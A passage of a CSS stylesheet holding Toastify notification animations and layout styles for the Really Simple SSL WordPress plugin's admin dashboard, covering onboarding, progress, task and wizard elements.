        transform: translate3d(-3000px, 0, 0);
    }

    60% {
        opacity: 1;
        transform: translate3d(25px, 0, 0);
    }

    75% {
        transform: translate3d(-10px, 0, 0);
    }

    90% {
        transform: translate3d(5px, 0, 0);
    }

    to {
        transform: none;
    }
}

@keyframes Toastify__bounceOutLeft {
    20% {
        opacity: 1;
        transform: translate3d(20px, 0, 0);
    }

    to {
        opacity: 0;
        transform: translate3d(-2000px, 0, 0);
    }
}

@keyframes Toastify__bounceInUp {
    from, 60%, 75%, 90%, to {
        animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    }

    from {
        opacity: 0;
        transform: translate3d(0, 3000px, 0);
    }

    60% {
        opacity: 1;
        transform: translate3d(0, -20px, 0);
    }

    75% {
        transform: translate3d(0, 10px, 0);
    }

    90% {
        transform: translate3d(0, -5px, 0);
    }

    to {
        transform: translate3d(0, 0, 0);
    }
}

@keyframes Toastify__bounceOutUp {
    20% {
        transform: translate3d(0, -10px, 0);
    }

    40%, 45% {
        opacity: 1;
        transform: translate3d(0, 20px, 0);
    }

    to {
        opacity: 0;
        transform: translate3d(0, -2000px, 0);
    }
}

@keyframes Toastify__bounceInDown {
    from, 60%, 75%, 90%, to {
        animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    }

    0% {
        opacity: 0;
        transform: translate3d(0, -3000px, 0);
    }

    60% {
        opacity: 1;
        transform: translate3d(0, 25px, 0);
    }

    75% {
        transform: translate3d(0, -10px, 0);
    }

    90% {
        transform: translate3d(0, 5px, 0);
    }

    to {
        transform: none;
    }
}

@keyframes Toastify__bounceOutDown {
    20% {
        transform: translate3d(0, 10px, 0);
    }

    40%, 45% {
        opacity: 1;
        transform: translate3d(0, -20px, 0);
    }

    to {
        opacity: 0;
        transform: translate3d(0, 2000px, 0);
    }
}

.Toastify__bounce-enter--top-left, .Toastify__bounce-enter--bottom-left {
    animation-name: Toastify__bounceInLeft;
}

.Toastify__bounce-enter--top-right, .Toastify__bounce-enter--bottom-right {
    animation-name: Toastify__bounceInRight;
}

.Toastify__bounce-enter--top-center {
    animation-name: Toastify__bounceInDown;
}

.Toastify__bounce-enter--bottom-center {
    animation-name: Toastify__bounceInUp;
}

.Toastify__bounce-exit--top-left, .Toastify__bounce-exit--bottom-left {
    animation-name: Toastify__bounceOutLeft;
}

.Toastify__bounce-exit--top-right, .Toastify__bounce-exit--bottom-right {
    animation-name: Toastify__bounceOutRight;
}

.Toastify__bounce-exit--top-center {
    animation-name: Toastify__bounceOutUp;
}

.Toastify__bounce-exit--bottom-center {
    animation-name: Toastify__bounceOutDown;
}

@keyframes Toastify__zoomIn {
    from {
        opacity: 0;
        transform: scale3d(0.3, 0.3, 0.3);
    }

    50% {
        opacity: 1;
    }
}

@keyframes Toastify__zoomOut {
    from {
        opacity: 1;
    }

    50% {
        opacity: 0;
        transform: scale3d(0.3, 0.3, 0.3);
    }

    to {
        opacity: 0;
    }
}

.Toastify__zoom-enter {
    animation-name: Toastify__zoomIn;
}

.Toastify__zoom-exit {
    animation-name: Toastify__zoomOut;
}

@keyframes Toastify__flipIn {
    from {
        transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
        animation-timing-function: ease-in;
        opacity: 0;
    }

    40% {
        transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
        animation-timing-function: ease-in;
    }

    60% {
        transform: perspective(400px) rotate3d(1, 0, 0, 10deg);
        opacity: 1;
    }

    80% {
        transform: perspective(400px) rotate3d(1, 0, 0, -5deg);
    }

    to {
        transform: perspective(400px);
    }
}

@keyframes Toastify__flipOut {
    from {
        transform: perspective(400px);
    }

    30% {
        transform: perspective(400px) rotate3d(1, 0, 0, -20deg);
        opacity: 1;
    }

    to {
        transform: perspective(400px) rotate3d(1, 0, 0, 90deg);
        opacity: 0;
    }
}

.Toastify__flip-enter {
    animation-name: Toastify__flipIn;
}

.Toastify__flip-exit {
    animation-name: Toastify__flipOut;
}

@keyframes Toastify__slideInRight {
    from {
        transform: translate3d(110%, 0, 0);
        visibility: visible;
    }

    to {
        transform: translate3d(0, 0, 0);
    }
}

@keyframes Toastify__slideInLeft {
    from {
        transform: translate3d(-110%, 0, 0);
        visibility: visible;
    }

    to {
        transform: translate3d(0, 0, 0);
    }
}

@keyframes Toastify__slideInUp {
    from {
        transform: translate3d(0, 110%, 0);
        visibility: visible;
    }

    to {
        transform: translate3d(0, 0, 0);
    }
}

@keyframes Toastify__slideInDown {
    from {
        transform: translate3d(0, -110%, 0);
        visibility: visible;
    }

    to {
        transform: translate3d(0, 0, 0);
    }
}

@keyframes Toastify__slideOutRight {
    from {
        transform: translate3d(0, 0, 0);
    }

    to {
        visibility: hidden;
        transform: translate3d(110%, 0, 0);
    }
}

@keyframes Toastify__slideOutLeft {
    from {
        transform: translate3d(0, 0, 0);
    }

    to {
        visibility: hidden;
        transform: translate3d(-110%, 0, 0);
    }
}

@keyframes Toastify__slideOutDown {
    from {
        transform: translate3d(0, 0, 0);
    }

    to {
        visibility: hidden;
        transform: translate3d(0, 500px, 0);
    }
}

@keyframes Toastify__slideOutUp {
    from {
        transform: translate3d(0, 0, 0);
    }

    to {
        visibility: hidden;
        transform: translate3d(0, -500px, 0);
    }
}

.Toastify__slide-enter--top-left, .Toastify__slide-enter--bottom-left {
    animation-name: Toastify__slideInLeft;
}

.Toastify__slide-enter--top-right, .Toastify__slide-enter--bottom-right {
    animation-name: Toastify__slideInRight;
}

.Toastify__slide-enter--top-center {
    animation-name: Toastify__slideInDown;
}

.Toastify__slide-enter--bottom-center {
    animation-name: Toastify__slideInUp;
}

.Toastify__slide-exit--top-left, .Toastify__slide-exit--bottom-left {
    animation-name: Toastify__slideOutLeft;
}

.Toastify__slide-exit--top-right, .Toastify__slide-exit--bottom-right {
    animation-name: Toastify__slideOutRight;
}

.Toastify__slide-exit--top-center {
    animation-name: Toastify__slideOutUp;
}

.Toastify__slide-exit--bottom-center {
    animation-name: Toastify__slideOutDown;
}

@keyframes Toastify__spin {
    from {
        transform: rotate(0deg);
    }

    to {
        transform: rotate(360deg);
    }
}

.rsssl-modal.rsssl-onboarding {
    width: clamp(300px, 100ch, 100vw);
    padding-top: var(--rsp-spacing-m);
    line-height: 2.2;
    min-height: 295px;
}

.rsssl-modal.rsssl-onboarding .rsssl-logo {
    height: 26px;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content {
    display: flex;
    min-height: 295px;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-onboarding-placeholder {
    flex-grow: 1;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content-step {
    display: flex;
    flex-direction: column;
    width: 100%;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content .rsssl-processing {
    opacity: 0.5;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .rsssl-icon {
    margin-top: 7px;
}

.rsssl-modal.rsssl-onboarding .rsssl-modal-content ul li .components-button.is-link {
    padding: 5px 0;
}

.rsssl-grid-item.rsssl-progress .rsssl-grid-item-content {
    padding: 0;
}

.rsssl-grid-item.rsssl-progress .rsssl-placeholder {
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
}

@media screen and (max-width: 1280px) {
    .rsssl-grid-item.rsssl-progress .rsssl-placeholder {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl-grid-item.rsssl-progress .rsssl-placeholder {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl-progress-block .rsssl-progress {
    overflow: hidden;
    height: 20px;
    border-radius: 5px;
    background-color: #f7f7f7;
}

.rsssl-progress-block .rsssl-progress .rsssl-bar {
    height: 100%;
    background-color: var(--rsp-color-success);
    transition: width 1s ease;
}

.rsssl-progress-block .rsssl-progress .rsssl-bar.rsssl-orange {
    background-color: var(--rsp-color-warning);
}

.rsssl-progress-block .rsssl-progress-bar {
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
    padding-block: 0;
    border-radius: 5px;
}

@media screen and (max-width: 1280px) {
    .rsssl-progress-block .rsssl-progress-bar {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl-progress-block .rsssl-progress-bar {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl-progress-block .rsssl-progress-text {
    display: flex;
    align-items: center;
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
    padding-block: var(--rsp-spacing-s);
    justify-content: flex-start;
    gap: var(--rsp-spacing-m);
}

@media screen and (max-width: 1280px) {
    .rsssl-progress-block .rsssl-progress-text {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl-progress-block .rsssl-progress-text {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl-progress-block .rsssl-progress-text .rsssl-progress-percentage {
    font-size: var(--rsp-fs-800);
    font-weight: 700;
}

.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span {
    font-weight: 500;
    font-size: var(--rsp-fs-600);
}

.rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span a {
    margin-left: 3px;
}

@media only screen and (max-width: 1366px) and (min-width: 1280px) {
    .rsssl-progress-block .rsssl-progress-text .rsssl-progress-text-span {
        font-size: var(--rsp-fs-500);
    }
}

.rsssl-header-html {
    display: flex;
    color: var(--rsp-text-color-light);
}

.rsssl-header-html .rsssl-toggle-active {
    text-decoration: underline;
}

.rsssl-task-switcher-container {
    display: flex;
    border-radius: var(--rsp-border-radius);
}

.rsssl-task-switcher-container .rsssl-task-switcher:first-of-type {
    border-right: 1px solid var(--rsp-grey-400);
    padding-right: 10px;
}

.rsssl-task-switcher-container .rsssl-task-switcher:last-of-type {
    padding-left: 10px;
}

.rsssl-task-switcher {
    font-size: var(--rsp-fs-200);
    cursor: pointer;
    transition: 0.3s;
}

.rsssl-task-switcher:hover {
    text-decoration: underline;
}

.rsssl-active-filter-remaining .rsssl-remaining-tasks, .rsssl-active-filter-all .rsssl-all-tasks {
    text-decoration: underline;
}

/**
* Task element, list of tasks
 */
.rsssl-task-element {
    display: flex;
    align-items: flex-start;
    justify-content: center;
    gap: var(--rsp-spacing-m);
    padding-bottom: var(--rsp-spacing-s);
}

@media (max-width: 1280px) {
    .rsssl-task-element {
        gap: var(--rsp-spacing-xs);
    }
}

.rsssl-task-element .rsssl-task-message {
    flex: 1;
    font-size: var(--rsp-fs-300);
}

.rsssl-task-element .rsssl-task-form {
    margin-top: var(--rsp-spacing-xxs);
    display: flex;
    gap: var(--rsp-spacing-xs);
}

.rsssl-task-element .rsssl-task-enable {
    cursor: pointer;
    line-height: 1.5;
}

.rsssl-task-element .rsssl-task-enable .rsssl-icon.rsssl-icon-loading {
    padding: 3px;
}

.rsssl-task-element .rsssl-task-dismiss:hover {
    transform: scale(1.1);
}

.rsssl-task-element .rsssl-task-dismiss button {
    all: initial;
    cursor: pointer;
    padding: 4px;
}

.rsssl-task-element .rsssl-task-dismiss svg {
    height: 12px;
    width: 12px;
}

.rsssl-scroll-container {
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
    height: 230px;
    overflow-y: auto;
    padding-block: 0;
    padding-top: var(--rsp-spacing-s);
    border-radius: 0;
}

@media screen and (max-width: 1280px) {
    .rsssl-scroll-container {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl-scroll-container {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl-scroll-container::-webkit-scrollbar-track {
    border-radius: 10px;
    -webkit-box-shadow: inset 0 0 2px rgba(0, 0, 0, 0);
    background-color: transparent;
}

.rsssl-scroll-container::-webkit-scrollbar {
    width: 8px;
    border-radius: 10px;
    background-color: var(--rsp-grey-300);
}

.rsssl-scroll-container::-webkit-scrollbar-thumb {
    background-color: var(--rsp-grey-400);
    border-radius: 10px;
}

.rsssl-progress-status-container {
    margin-right: 40px;
}

.rsssl-task-status, .rsssl-locked-overlay .rsssl-progress-status {
    display: block;
    min-width: 100px;
    text-align: center;
    border-radius: var(--rsp-border-radius-xs);
    padding: 4px 8px;
    font-size: var(--rsp-fs-100);
    font-weight: 600;
}

@media (max-width: 1280px) {
    .rsssl-task-status, .rsssl-locked-overlay .rsssl-progress-status {
        min-width: 80px;
    }
}

.rsssl-task-status.rsssl-completed, .rsssl-locked-overlay .rsssl-completed.rsssl-progress-status, .rsssl-task-status.rsssl-success, .rsssl-locked-overlay .rsssl-success.rsssl-progress-status {
    background-color: var(--rsp-color-success);
    color: var(--rsp-text-color-white);
}

.rsssl-task-status.rsssl-open, .rsssl-locked-overlay .rsssl-open.rsssl-progress-status {
    background-color: var(--rsp-color-open);
}

.rsssl-task-status.rsssl-warning, .rsssl-locked-overlay .rsssl-warning.rsssl-progress-status {
    background-color: var(--rsp-color-error);
    color: var(--rsp-text-color-white);
}

.rsssl-task-status.rsssl-premium, .rsssl-locked-overlay .rsssl-premium.rsssl-progress-status {
    background-color: var(--rsp-blue);
    color: var(--rsp-text-color-white);
}

.rsssl-task-status.rsssl-loading, .rsssl-locked-overlay .rsssl-loading.rsssl-progress-status {
    background-color: var(--rsp-grey-200);
}

@media (max-width: 1080px) {
    .rsssl-scroll-container .rsssl-task-status, .rsssl-scroll-container .rsssl-locked-overlay .rsssl-progress-status, .rsssl-locked-overlay .rsssl-scroll-container .rsssl-progress-status {
        aspect-ratio: 1/1;
        min-width: 10px;
        height: 16px;
        border-radius: 100%;
        text-indent: -9999px;
 /* sends the text off-screen */
        white-space: nowrap;
    }
}

.rsssl-plusone {
    min-width: 15px;
    height: 16px;
    font-size: var(--rsp-fs-100);
    line-height: 1.5;
    display: inline-block;
    vertical-align: top;
    box-sizing: border-box;
    margin: 1px 0 -1px 2px;
    padding: 0 5px;
    border-radius: 9px;
    background-color: #d63638;
    color: #fff;
    text-align: center;
}

@media only screen and (max-width: 1366px) {
    .rsssl-footer-left {
        display: none;
    }
}

.rsssl-datatable-placeholder div {
    background-color: var(--rsp-grey-300);
    height: 25px;
}

.rsssl-datatable-placeholder div:nth-child(even) {
    background-color: #fff;
}

.rsssl-rest-error-message {
    margin: 30px;
}

.rsssl-rest-error-message ul {
    list-style: disc;
    margin: 20px;
}

.rsssl-placeholder {
    box-sizing: border-box;
    width: 100%;
    text-align: left;
    margin: 0;
    padding-bottom: 24px;
    color: #1e1e1e;
    -moz-font-smoothing: subpixel-antialiased;
    -webkit-font-smoothing: subpixel-antialiased;
    border-radius: 2px;
}

.rsssl-placeholder {
    flex-grow: 100;
}

.rsssl-placeholder .rsssl-placeholder-line {
    float: left;
    width: 100%;
    height: 16px;
    margin-top: 12px;
    border-radius: 7px;
    animation: shine-lines 1.6s infinite linear;
    background-image: linear-gradient(90deg, #ddd 0px, #e8e8e8 40px, #ddd 80px);
    background-size: 600px;
}

.rsssl-placeholder .rsssl-placeholder-line:last-of-type {
    margin-bottom: 24px;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(1) {
    width: 99%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(2) {
    width: 66%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(3) {
    width: 94%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(4) {
    width: 75%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(5) {
    width: 78%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(6) {
    width: 66%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(7) {
    width: 67%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(8) {
    width: 76%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(9) {
    width: 79%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(10) {
    width: 85%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(11) {
    width: 92%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(12) {
    width: 78%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(13) {
    width: 65%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(14) {
    width: 75%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(15) {
    width: 73%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(16) {
    width: 92%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(17) {
    width: 96%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(18) {
    width: 91%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(19) {
    width: 99%;
}

.rsssl-placeholder .rsssl-placeholder-line:nth-of-type(20) {
    width: 79%;
}

.rsssl-placeholder .rsssl-placeholder-line ~ .rsssl-placeholder-line {
    background-color: #ddd;
}

.rsssl-dashboard-placeholder.rsssl-grid-item.rsssl-row-2 {
    grid-row: span 1;
}

.rsssl-settings-placeholder .rsssl-grid-item {
    min-height: 400px;
}

.rsssl-menu-placeholder {
    min-height: 400px;
}

@keyframes shine-lines {
    0% {
        background-position: -400px;
    }

    100% {
        background-position: 220px;
    }
}

.rsssl .rsssl-other-plugins .rsssl-placeholder {
    background-color: transparent;
}

.rsssl .rsssl-other-plugins .rsp-logo img {
    height: 20px;
}

.rsssl .rsssl-other-plugins-container {
    display: flex !important;
    flex-direction: row;
    flex-wrap: wrap;
    margin-bottom: 10px;
    font-size: var(--rsp-fs-300);
    line-height: 1.7;
    gap: var(--rsp-spacing-xxs);
}

@media screen and (max-width: 992px) {
    .rsssl .rsssl-other-plugins-container {
        flex-direction: row;
        overflow: hidden;
    }
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element {
    width: 100%;
    display: flex;
    align-content: space-between;
    justify-content: space-between;
    gap: 10px;
    --rsp-other-plugins-color: var(---rsp-brand-primary);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-zip-recipes {
    --rsp-other-plugins-color: var(--rsp-pink);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-burst-statistics {
    --rsp-other-plugins-color: var(--rsp-green);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-gdpr {
    --rsp-other-plugins-color: var(--rsp-blue);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-complianz-terms-conditions {
    --rsp-other-plugins-color: var(--rsp-black);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element.rsssl-really-simple-ssl {
    --rsp-other-plugins-color: var(--rsp-yellow);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a {
    width: max-content;
    color: var(--rsp-text-color-light);
    transition: color 0.3s ease;
    display: flex;
    align-items: center;
    min-width: 0;
    gap: var(--rsp-spacing-xs);
    text-decoration: none;
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover {
    color: var(--rsp-other-plugins-color);
    text-decoration: underline;
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-bullet {
    background-color: var(--rsp-other-plugins-color);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element a:hover .rsssl-other-plugins-content {
    text-decoration: underline;
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-bullet {
    transition: background-color 0.3s ease;
    background-color: var(--rsp-other-plugins-color);
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugins-content {
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
}

.rsssl .rsssl-other-plugins-container .rsssl-other-plugins-element .rsssl-other-plugin-status {
    min-width: fit-content;
}

.rsssl-tips_tricks .rsssl-grid-item-header .rsssl-grid-item-controls {
    height: 28px;
}

.rsssl-tips-tricks-container {
    display: flex !important;
    flex-direction: row;
    flex-wrap: wrap;
    margin-bottom: 10px;
    font-size: var(--rsp-fs-300);
    line-height: 1.7;
    gap: var(--rsp-spacing-xxs);
}

@media screen and (max-width: 992px) {
    .rsssl-tips-tricks-container {
        flex-direction: row;
        overflow: hidden;
    }
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element {
    width: calc(50% - var(--rsp-spacing-xxs));
}

@media (max-width: 768px) {
    .rsssl-tips-tricks-container .rsssl-tips-tricks-element {
        width: 100%;
    }
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element a {
    color: var(--rsp-text-color-light);
    transition: color 0.3s ease;
    display: flex;
    align-items: center;
    gap: var(--rsp-spacing-xs);
    min-width: 0;
 /* or some value */
    text-decoration: none;
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover {
    color: var(--rsp-brand-primary);
    text-decoration: underline;
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover svg path {
    fill: var(--rsp-brand-primary);
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element a:hover .rsssl-tips-tricks-content {
    text-decoration: underline;
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-bullet {
    transition: background-color 0.3s ease;
    background-color: var(--rsp-grey-300);
}

.rsssl-tips-tricks-container .rsssl-tips-tricks-element .rsssl-tips-tricks-content {
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-helplink {
    color: var(--rsp-text-color);
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item {
    position: relative;
    margin-bottom: var(--rsp-grid-gap);
}

@media (max-width: 1080px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item {
        grid-column: span 4;
    }
}

.rsssl div[class^=rsssl-wizard-].rsssl-column-2 {
    grid-column: span 2;
}

@media (max-width: 1080px) {
    .rsssl div[class^=rsssl-wizard-].rsssl-column-2 {
        grid-column: span 4;
    }
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked {
    position: absolute;
    z-index: 20;
    top: 0;
    left: 0;
    bottom: 0;
    right: 0;
    background: rgba(255, 255, 255, 0.8);
    border-radius: var(--rsp-border-radius);
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-shield-overlay {
    position: absolute;
    top: 50%;
 /* Center vertically */
    left: 50%;
 /* Center horizontally */
    transform: translate(-50%, -50%);
 /* Offset for centering */
    display: flex;
    align-items: center;
    justify-content: center;
    height: calc(100px + 2 * var(--rsp-spacing-s));
 /* Adjust shield height dynamically */
    width: calc(200px + 2 * var(--rsp-spacing-s));
 /* Ensure consistent width for a square shield */
    z-index: 19;
 /* Place it below the overlay */
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked:has(.rsssl-shield-overlay) {
  /* Apply dynamic styles when .rsssl-shield-overlay is present */
    min-height: calc(100px + 4 * var(--rsp-spacing-s));
 /* Adjust to fit the shield and extra spacing */
    display: flex;
    align-items: center;
 /* Vertically center contents */
    justify-content: center;
 /* Horizontally center contents */
    position: relative;
 /* Context for absolutely positioned children */
    padding: var(--rsp-spacing-s);
 /* Add padding to avoid cutting off elements */
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay {
    z-index: 20;
 /* Ensure this stays on top */
    position: absolute;
    display: flex;
    align-items: center;
    gap: var(--rsp-spacing-s);
    background-color: var(--rsp-white);
    margin: var(--rsp-spacing-s);
    border-radius: var(--rsp-border-radius-s);
    box-shadow: var(--rsp-box-shadow);
    bottom: 0;
    width: calc(100% - 2 * var(--rsp-spacing-s));
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
}

@media screen and (max-width: 1280px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-open {
    float: left;
    margin-right: 12px;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-locked .rsssl-locked-overlay .rsssl-progress-status {
    float: left;
    margin-right: 20px;
}

.rsssl div[class^=rsssl-wizard-] > div:nth-last-of-type(2) {
    margin-bottom: 0;
    border-radius: var(--rsp-border-radius) var(--rsp-border-radius) 0 0;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container {
    position: sticky;
    bottom: 0;
    display: flex;
    flex-direction: column;
    z-index: 20;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button, .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button {
    box-shadow: none !important;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:focus, .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons a.button:active, .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:focus, .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-container .rsssl-grid-item-footer-buttons button:active {
    box-shadow: none !important;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress-container {
    display: flex;
    flex-direction: column;
    width: 100%;
    height: 3px;
    background-color: var(--rsp-grey-300);
    overflow: hidden;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-scroll-progress {
    height: 100%;
    background-color: var(--rsp-blue);
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer {
    background: var(--rsp-grey-100);
    border-radius: 0 0 var(--rsp-border-radius) var(--rsp-border-radius);
    border-top: 1px solid var(--rsp-grey-300);
    box-sizing: border-box;
    align-items: center;
    padding: var(--rsp-spacing-m) var(--rsp-spacing-l);
    box-shadow: var(--rsp-box-shadow);
    gap: var(--rsp-grid-margin);
    width: 100%;
    min-height: 20px;
    justify-content: space-around;
}

@media screen and (max-width: 1280px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

@media screen and (max-width: 1080px) {
    .rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer {
        padding: var(--rsp-spacing-xs) var(--rsp-spacing-s);
    }
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer > div:last-of-type {
    margin-left: auto;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-buttons {
    display: flex;
    justify-content: flex-end;
    align-items: center;
    gap: var(--rsp-spacing-s);
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend {
    display: flex;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer .rsssl-legend span {
    padding-left: 5px;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer-upsell-bar .button {
    display: inline-block !important;
}

.rsssl div[class^=rsssl-wizard-] .rsssl-grid-item-footer:empty {
    display: none;
}

.rsssl-wizard-help {
    display: flex;
    flex-wrap: wrap;
    align-content: flex-start;
    gap: var(--rsp-spacing-xs);
}

.rsssl-wizard-help details {
    font-size: var(--rsp-fs-200);
}

.rsssl-wizard-help details .rsssl-help-more-info {
    display: flex;
    flex-direction: row;
    margin-top: 12px;
}

.rsssl-wizard-help details summary {
    display: grid;
    grid-template-columns: 1fr auto;
    justify-content: space-between;
    font-size: var(--rsp-fs-300);
    font-weight: 600;
    cursor: pointer;
}

.rsssl-wizard-help details summary::-webkit-details-marker {
    display: none;
}

.rsssl-wizard-help details summary:first-of-type {
    list-style-type: none;
}

.rsssl-wizard-help details summary .rsssl-icon {
    transition: all 0.3s ease-in-out;
    transform: rotate(0deg);
}

.rsssl-wizard-help code {
    white-space: pre-line;
    display: block;
}

.rsssl-wizard-help summary, .rsssl-wizard-help p {
    font-size: var(--rsp-fs-200);
}

.rsssl-wizard-help details[open] {
    padding: var(--rsp-spacing-s) var(--rsp-spacing-m);
}

.rsssl-wizard-help details[open] summary {
    padding: 0;
    padding-bottom: var(--rsp-spacing-xs);
}

.rsssl-wizard-help details[open] summary .rsssl-icon {
    transform: rotate(180deg);
}

.rsssl-wizard-help .rsssl-help-header {
    width: 100%;
    display: flex;
    padding: 10px;
}

.rsssl-wizard-help .rsssl-help-header .rsssl-help-title {
    font-size: 18px;
}

.rsssl-wizard-help .rsssl-help-header .rsssl-help-control {
    margin-left: auto;
    cursor: pointer;
}

.rsssl-wizard-help > div {
    flex-grow: 1;
    width: 100%;
}

.rsssl-wizard-help-notice {
    width: 100%;
    background: var(--rsp-background-block-color);
    box-shadow: var(--rsp-box-shadow);
    border-radius: var(--rsp-border-radius);
    border-radius: var(--rsp-border-radius-s);
    height: fit-content;
    background-color: var(--rsp-dark-blue-faded);
}

.rsssl-wizard-help-notice.rsssl-warning {
    background-color: var(--rsp-red-faded);
}

.rsssl-wizard-help-notice.rsssl-open {
    background-color: var(--rsp-yellow-faded);
}

.rsssl-wizard-help-notice summary, .rsssl-wizard-help-notice p {
    padding: var(--rsp-spacing-s) var(--rsp-spacing-m);
}

.rsssl-wizard-menu {
    height: fit-content;
    background: none !important;
    box-shadow: none !important;
}

.rsssl-wizard-menu .rsssl-grid-item-header {
    padding-left: var(--rsp-spacing-xs);
}

.rsssl-wizard-menu .rsssl-grid-item-content {
    padding: 0;
    padding-bottom: var(--rsp-spacing-l);
}

.rsssl-wizard-menu-items > .rsssl-menu-item > a {
    font-weight: 600 !important;
